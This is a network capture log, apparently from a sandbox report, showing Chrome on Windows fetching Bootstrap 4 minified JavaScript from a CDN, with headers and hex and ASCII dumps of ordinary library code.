2024-10-01 10:21:02 UTC	938	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 10:21:02 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 08/04/2024 20:14:54 CDN-EdgeStorageId: 1029 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: d111e32d511363007c6323c1993605f3 CDN-Cache: HIT CF-Cache-Status: HIT Age: 10886 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8cbbb93bff96c409-EWR
2024-10-01 10:21:02 UTC	431	IN	Data Raw: 37 62 66 37 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bf7/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 2c 69 29 7d 7d 66 75 6e 63 74 Data Ascii: pper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}funct
2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 44 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 3b 74 2b 3d 7e 7e 28 31 65 36 2a Data Ascii: Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUID:function(t){for(;t+=~~(1e6*
2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 63 6c 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d Data Ascii: }},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;return t.close=function(t){var e=
2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d 27 2c 41 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 62 75 74 74 6f 6e 73 22 5d 27 Data Ascii: n[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]',A='[data-toggle="buttons"]'
2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 6d 2e 66 6e 5b 70 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 Data Ascii: t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQueryInterface,m.fn[p].Constructor
2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 74 79 22 29 26 26 74 68 69 73 2e 6e 65 78 74 28 29 7d 2c 74 2e 70 72 65 76 3d 66 75 6e Data Ascii: t),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibility")&&this.next()},t.prev=fun
2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 52 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 70 61 75 73 65 28 Data Ascii: ,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTER,function(t){return e.pause(
2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 2c 73 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f Data Ascii: ndicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this,s=this._element.querySelecto
2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 66 28 6e 26 26 50 28 6e 29 2e 68 61 73 43 6c 61 73 73 28 42 29 29 7b 76 61 72 20 69 3d Data Ascii: peof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];if(n&&P(n).hasClass(B)){var i=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49716	104.18.10.207	443	4952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 10:21:02 UTC	621	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 10:21:02 UTC	917	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 10:21:02 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 01/15/2024 23:55:45 CDN-EdgeStorageId: 845 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: 127ebfc7b1202ea45d8c4e9ae0b5c9da CDN-Cache: HIT CF-Cache-Status: HIT Age: 17433558 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8cbbb93c09f5c3fa-EWR
2024-10-01 10:21:02 UTC	452	IN	Data Raw: 37 63 30 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7c0c/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 2c 69 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 28 74 2c 65 2c 6e 29 7b 72 65 74 75 72 6e 20 65 26 Data Ascii: trap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&
2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c 65 6d 65 6e 74 28 6f 29 3f 22 65 6c 65 6d 65 6e 74 22 3a 28 6c 3d 6f 2c 7b 7d 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 6c 29 2e 6d 61 74 63 68 Data Ascii: onEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isElement(o)?"element":(l=o,{}.toString.call(l).match
2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 29 7d 2c 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 6f 28 74 Data Ascii: removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._destroyElement(t)},e._destroyElement=function(t){o(t
2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 70 72 65 73 73 65 64 22 2c 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 Data Ascii: abled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element.setAttribute("aria-pressed",!p(this._element).ha
2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 70 72 65 76 22 2c 79 3d 7b 41 43 54 49 56 45 3a 22 2e 61 63 74 69 76 65 22 2c 41 43 54 49 56 45 5f 49 54 45 4d 3a 22 2e 61 63 74 69 76 65 2e 63 Data Ascii: "touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item-prev",y={ACTIVE:".active",ACTIVE_ITEM:".active.c
2024-10-01 10:21:02 UTC	1369	IN	Data Raw: 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 28 79 2e 41 43 54 49 56 45 5f 49 54 45 4d 29 5b 30 5d 3b 76 61 72 20 69 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 68 69 73 2e Data Ascii: his._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find(y.ACTIVE_ITEM)[0];var i=this._getItemIndex(this.
